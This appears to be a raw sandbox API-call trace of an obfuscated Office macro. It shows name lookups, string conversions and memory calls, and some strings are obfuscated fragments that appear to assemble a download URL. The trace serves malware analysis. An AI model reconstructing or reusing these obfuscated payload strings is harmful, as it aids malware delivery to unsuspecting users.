dwFlags=0x0, lpMultiByteStr=0xbb605fc, cbMultiByte=62, lpWideCharStr=0x7263394, cchWideChar=126 | out: lpWideCharStr="oURVhLfjaptts8wK5xpy/YMj.Spuxp+uxplituxp+uxp(YMjVnL+VnKsw8wbOo") returned 62 [0018.498] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0xbb4fe80 [0018.499] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0018.499] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb) returned 0x7970d60 [0018.499] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Mid") returned 0x1070ed [0018.499] strcpy_s (in: _Dst=0x305370, _DstSize=0xb, _Src="_B_var_Mid" | out: _Dst="_B_var_Mid") returned 0x0 [0018.499] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=11, lpWideCharStr=0x3051c0, cchWideChar=11 | out: lpWideCharStr="_B_var_Mid") returned 11 [0018.499] IUnknown:AddRef (This=0x7919520) returned 0xd [0018.499] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_Mid", lHashVal=0x1070ed, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=1, pBstrLibName=0x3051c0) returned 0x0 [0018.499] IUnknown:Release (This=0x7919520) returned 0xc [0018.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="_B_var_Mid", cchWideChar=-1, lpMultiByteStr=0x305370, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_B_var_Mid", lpUsedDefaultChar=0x0) returned 11 [0018.499] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Mid") returned 0x1070ed [0018.499] IUnknown:AddRef (This=0x7919520) returned 0xd [0018.499] IUnknown:Release (This=0x7919520) returned 0xc [0018.499] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.499] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x26d) returned 0x794fbb0 [0018.499] IMalloc:Free (This=0x7fefe9e5380, pv=0x794fbb0) [0018.499] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="QmTrb") returned 0x10e0db [0018.499] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x6, _Src="QmTrb" | out: _Dst="QmTrb") returned 0x0 [0018.499] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=6, lpWideCharStr=0x305010, cchWideChar=6 | out: lpWideCharStr="QmTrb") returned 6 [0018.499] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.499] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="QmTrb", lHashVal=0x10e0db, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.499] IUnknown:Release (This=0x7919520) returned 0xd [0018.499] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.500] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="QmTrb", lHashVal=0x10e0db, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.500] IUnknown:Release (This=0x7346470) returned 0xb [0018.500] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.500] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="QmTrb", lHashVal=0x10e0db, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.500] IUnknown:Release (This=0x7345930) returned 0x7 [0018.500] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.500] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="QmTrb", lHashVal=0x10e0db, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.500] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.500] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xd) returned 0x7970d60 [0018.500] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_QmTrb") returned 0x10a4c8 [0018.500] strcpy_s (in: _Dst=0x305370, _DstSize=0xd, _Src="_B_var_QmTrb" | out: _Dst="_B_var_QmTrb") returned 0x0 [0018.500] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=13, lpWideCharStr=0x3051c0, cchWideChar=13 | out: lpWideCharStr="_B_var_QmTrb") returned 13 [0018.500] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.500] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_QmTrb", lHashVal=0x10a4c8, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.500] IUnknown:Release (This=0x7919520) returned 0xd [0018.500] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.500] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_QmTrb", lHashVal=0x10a4c8, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.500] IUnknown:Release (This=0x7346470) returned 0xb [0018.500] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.500] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_QmTrb", lHashVal=0x10a4c8, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.500] IUnknown:Release (This=0x7345930) returned 0x7 [0018.500] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.500] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_QmTrb", lHashVal=0x10a4c8, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.500] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.500] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.500] IUnknown:Release (This=0x7919520) returned 0xd [0018.500] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.500] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60654, cbMultiByte=10, lpWideCharStr=0x9be0144, cchWideChar=22 | out: lpWideCharStr="uODZcJIVir") returned 10 [0018.500] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6066e, cbMultiByte=10, lpWideCharStr=0x9be058e, cchWideChar=22 | out: lpWideCharStr="aKtDurWcSR") returned 10 [0018.501] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60682, cbMultiByte=10, lpWideCharStr=0x9be0738, cchWideChar=22 | out: lpWideCharStr="fcmvwIBSZX") returned 10 [0018.501] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60696, cbMultiByte=10, lpWideCharStr=0x9be08e2, cchWideChar=22 | out: lpWideCharStr="wnqPTOjsUz") returned 10 [0018.501] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0xbb500d0 [0018.501] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb606aa, cbMultiByte=10, lpWideCharStr=0x9be0a8c, cchWideChar=22 | out: lpWideCharStr="jifQBbJvKY") returned 10 [0018.501] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb606be, cbMultiByte=10, lpWideCharStr=0x9be0c36, cchWideChar=22 | out: lpWideCharStr="ISuzTScIbU") returned 10 [0018.501] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb606d2, cbMultiByte=10, lpWideCharStr=0x9be0de0, cchWideChar=22 | out: lpWideCharStr="HpvHsmUdkf") returned 10 [0018.501] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb606e6, cbMultiByte=10, lpWideCharStr=0x9be0f8a, cchWideChar=22 | out: lpWideCharStr="HiISiAwVtW") returned 10 [0018.502] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="FiKsmwUHq") returned 0x10e058 [0018.502] strcpy_s (in: _Dst=0x3051c0, _DstSize=0xa, _Src="FiKsmwUHq" | out: _Dst="FiKsmwUHq") returned 0x0 [0018.502] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=10, lpWideCharStr=0x305010, cchWideChar=10 | out: lpWideCharStr="FiKsmwUHq") returned 10 [0018.502] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.502] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="FiKsmwUHq", lHashVal=0x10e058, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.502] IUnknown:Release (This=0x7919520) returned 0xd [0018.502] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.502] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="FiKsmwUHq", lHashVal=0x10e058, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.502] IUnknown:Release (This=0x7346470) returned 0xb [0018.502] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.502] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="FiKsmwUHq", lHashVal=0x10e058, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.502] IUnknown:Release (This=0x7345930) returned 0x7 [0018.502] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.502] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="FiKsmwUHq", lHashVal=0x10e058, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.502] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.502] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x7970d60 [0018.502] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_FiKsmwUHq") returned 0x10e99d [0018.502] strcpy_s (in: _Dst=0x305370, _DstSize=0x11, _Src="_B_var_FiKsmwUHq" | out: _Dst="_B_var_FiKsmwUHq") returned 0x0 [0018.502] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=17, lpWideCharStr=0x3051c0, cchWideChar=17 | out: lpWideCharStr="_B_var_FiKsmwUHq") returned 17 [0018.502] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.502] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_FiKsmwUHq", lHashVal=0x10e99d, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.502] IUnknown:Release (This=0x7919520) returned 0xd [0018.502] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.502] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_FiKsmwUHq", lHashVal=0x10e99d, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.502] IUnknown:Release (This=0x7346470) returned 0xb [0018.502] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.502] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_FiKsmwUHq", lHashVal=0x10e99d, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.502] IUnknown:Release (This=0x7345930) returned 0x7 [0018.502] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.502] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_FiKsmwUHq", lHashVal=0x10e99d, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.502] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.502] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.502] IUnknown:Release (This=0x7919520) returned 0xd [0018.503] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.503] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60704, cbMultiByte=10, lpWideCharStr=0x9be33fc, cchWideChar=22 | out: lpWideCharStr="SACbBzJlpB") returned 10 [0018.503] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6071e, cbMultiByte=10, lpWideCharStr=0x9be3846, cchWideChar=22 | out: lpWideCharStr="FDLKrdwEEN") returned 10 [0018.503] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60732, cbMultiByte=10, lpWideCharStr=0x9be39f0, cchWideChar=22 | out: lpWideCharStr="VziiaiunJi") returned 10 [0018.503] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60746, cbMultiByte=10, lpWideCharStr=0x9be3b9a, cchWideChar=22 | out: lpWideCharStr="UTrzQUODbh") returned 10 [0018.503] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6075a, cbMultiByte=10, lpWideCharStr=0x9be3d44, cchWideChar=22 | out: lpWideCharStr="WaXclJbTSr") returned 10 [0018.504] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6076e, cbMultiByte=10, lpWideCharStr=0x9be3eee, cchWideChar=22 | out: lpWideCharStr="kuWXOSWTAW") returned 10 [0018.504] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60782, cbMultiByte=10, lpWideCharStr=0x9e300a4, cchWideChar=22 | out: lpWideCharStr="CVcGhmMLtW") returned 10 [0018.504] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60796, cbMultiByte=10, lpWideCharStr=0x9e3024e, cchWideChar=22 | out: lpWideCharStr="PtcXrvbBwR") returned 10 [0018.504] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0xbb50320 [0018.504] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="UusBwdaiNEd") returned 0x109fe2 [0018.504] strcpy_s (in: _Dst=0x3051c0, _DstSize=0xc, _Src="UusBwdaiNEd" | out: _Dst="UusBwdaiNEd") returned 0x0 [0018.504] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=12, lpWideCharStr=0x305010, cchWideChar=12 | out: lpWideCharStr="UusBwdaiNEd") returned 12 [0018.504] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.504] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="UusBwdaiNEd", lHashVal=0x109fe2, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.504] IUnknown:Release (This=0x7919520) returned 0xd [0018.504] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.504] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="UusBwdaiNEd", lHashVal=0x109fe2, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.504] IUnknown:Release (This=0x7346470) returned 0xb [0018.504] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.504] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="UusBwdaiNEd", lHashVal=0x109fe2, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.504] IUnknown:Release (This=0x7345930) returned 0x7 [0018.504] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.504] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="UusBwdaiNEd", lHashVal=0x109fe2, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.505] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.505] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x7970d60 [0018.505] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_UusBwdaiNEd") returned 0x109144 [0018.505] strcpy_s (in: _Dst=0x305370, _DstSize=0x13, _Src="_B_var_UusBwdaiNEd" | out: _Dst="_B_var_UusBwdaiNEd") returned 0x0 [0018.505] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=19, lpWideCharStr=0x3051c0, cchWideChar=19 | out: lpWideCharStr="_B_var_UusBwdaiNEd") returned 19 [0018.505] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.505] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_UusBwdaiNEd", lHashVal=0x109144, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.505] IUnknown:Release (This=0x7919520) returned 0xd [0018.505] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.505] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_UusBwdaiNEd", lHashVal=0x109144, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.505] IUnknown:Release (This=0x7346470) returned 0xb [0018.505] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.505] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_UusBwdaiNEd", lHashVal=0x109144, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.505] IUnknown:Release (This=0x7345930) returned 0x7 [0018.505] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.505] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_UusBwdaiNEd", lHashVal=0x109144, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.505] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.505] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.505] IUnknown:Release (This=0x7919520) returned 0xd [0018.505] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.505] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb607b4, cbMultiByte=10, lpWideCharStr=0x9e326c0, cchWideChar=22 | out: lpWideCharStr="AtHoWfNaOh") returned 10 [0018.505] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb607ce, cbMultiByte=10, lpWideCharStr=0x9e32b0a, cchWideChar=22 | out: lpWideCharStr="bdTBzsEKnu") returned 10 [0018.505] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb607e2, cbMultiByte=10, lpWideCharStr=0x9e32cb4, cchWideChar=22 | out: lpWideCharStr="wWoqsJDTnP") returned 10 [0018.506] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb607f6, cbMultiByte=10, lpWideCharStr=0x9e32e5e, cchWideChar=22 | out: lpWideCharStr="wVAjGOpzuc") returned 10 [0018.506] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6080a, cbMultiByte=10, lpWideCharStr=0x9e33008, cchWideChar=22 | out: lpWideCharStr="QwGCaVTGoQ") returned 10 [0018.506] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6081e, cbMultiByte=10, lpWideCharStr=0x9e331b2, cchWideChar=22 | out: lpWideCharStr="AirdIiFQvM") returned 10 [0018.506] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60832, cbMultiByte=10, lpWideCharStr=0x9e3335c, cchWideChar=22 | out: lpWideCharStr="cumwjGcjuk") returned 10 [0018.506] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60846, cbMultiByte=10, lpWideCharStr=0x9e33506, cchWideChar=22 | out: lpWideCharStr="CFPKdBPlPW") returned 10 [0018.507] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="zMBMZzlQ") returned 0x1016d8 [0018.507] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x9, _Src="zMBMZzlQ" | out: _Dst="zMBMZzlQ") returned 0x0 [0018.507] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=9, lpWideCharStr=0x305010, cchWideChar=9 | out: lpWideCharStr="zMBMZzlQ") returned 9 [0018.507] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.507] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="zMBMZzlQ", lHashVal=0x1016d8, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.507] IUnknown:Release (This=0x7919520) returned 0xd [0018.507] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.507] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="zMBMZzlQ", lHashVal=0x1016d8, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.507] IUnknown:Release (This=0x7346470) returned 0xb [0018.507] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.507] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="zMBMZzlQ", lHashVal=0x1016d8, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.507] IUnknown:Release (This=0x7345930) returned 0x7 [0018.507] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.507] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="zMBMZzlQ", lHashVal=0x1016d8, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.507] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.507] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x7970d60 [0018.507] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_zMBMZzlQ") returned 0x10eea0 [0018.507] strcpy_s (in: _Dst=0x305370, _DstSize=0x10, _Src="_B_var_zMBMZzlQ" | out: _Dst="_B_var_zMBMZzlQ") returned 0x0 [0018.507] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=16, lpWideCharStr=0x3051c0, cchWideChar=16 | out: lpWideCharStr="_B_var_zMBMZzlQ") returned 16 [0018.507] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.507] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_zMBMZzlQ", lHashVal=0x10eea0, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.507] IUnknown:Release (This=0x7919520) returned 0xd [0018.507] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.507] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_zMBMZzlQ", lHashVal=0x10eea0, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.507] IUnknown:Release (This=0x7346470) returned 0xb [0018.507] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.507] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_zMBMZzlQ", lHashVal=0x10eea0, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.507] IUnknown:Release (This=0x7345930) returned 0x7 [0018.507] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.507] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_zMBMZzlQ", lHashVal=0x10eea0, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.507] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.507] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.507] IUnknown:Release (This=0x7919520) returned 0xd [0018.507] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.507] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb60864, cbMultiByte=138, lpWideCharStr=0xa20198c, cchWideChar=278 | out: lpWideCharStr="Wm/uxp+uxpwux'+'p+uxpww.uxp+uxpfr'+'iuxp+uxVnL+Vn'+'Lpgolitfabrikuxp+uxpen.VnL+VnLse/uxp+uxpzVnL+VnLpuxp+uwnkvmdpQHolzi6IhKOYE2v9i75GM65hU") returned 138 [0018.507] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0xbb50570 [0018.507] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb) returned 0x7970d60 [0018.507] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Mid") returned 0x1070ed [0018.507] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.507] IUnknown:Release (This=0x7919520) returned 0xd [0018.508] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.508] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="WpjzZrtiM") returned 0x105c5c [0018.508] strcpy_s (in: _Dst=0x3051c0, _DstSize=0xa, _Src="WpjzZrtiM" | out: _Dst="WpjzZrtiM") returned 0x0 [0018.508] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=10, lpWideCharStr=0x305010, cchWideChar=10 | out: lpWideCharStr="WpjzZrtiM") returned 10 [0018.508] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.508] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="WpjzZrtiM", lHashVal=0x105c5c, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.508] IUnknown:Release (This=0x7919520) returned 0xd [0018.508] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.508] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="WpjzZrtiM", lHashVal=0x105c5c, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.508] IUnknown:Release (This=0x7346470) returned 0xb [0018.508] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.508] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="WpjzZrtiM", lHashVal=0x105c5c, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.508] IUnknown:Release (This=0x7345930) returned 0x7 [0018.508] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.508] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="WpjzZrtiM", lHashVal=0x105c5c, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.508] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.508] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x7970d60 [0018.508] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_WpjzZrtiM") returned 0x1065a1 [0018.508] strcpy_s (in: _Dst=0x305370, _DstSize=0x11, _Src="_B_var_WpjzZrtiM" | out: _Dst="_B_var_WpjzZrtiM") returned 0x0 [0018.508] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=17, lpWideCharStr=0x3051c0, cchWideChar=17 | out: lpWideCharStr="_B_var_WpjzZrtiM") returned 17 [0018.508] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.508] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_WpjzZrtiM", lHashVal=0x1065a1, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.508] IUnknown:Release (This=0x7919520) returned 0xd [0018.508] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.508] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_WpjzZrtiM", lHashVal=0x1065a1, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.508] IUnknown:Release (This=0x7346470) returned 0xb [0018.508] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.508] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_WpjzZrtiM", lHashVal=0x1065a1, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.508] IUnknown:Release (This=0x7345930) returned 0x7 [0018.508] IUnknown:AddRef (This=0x7919ac0) returned 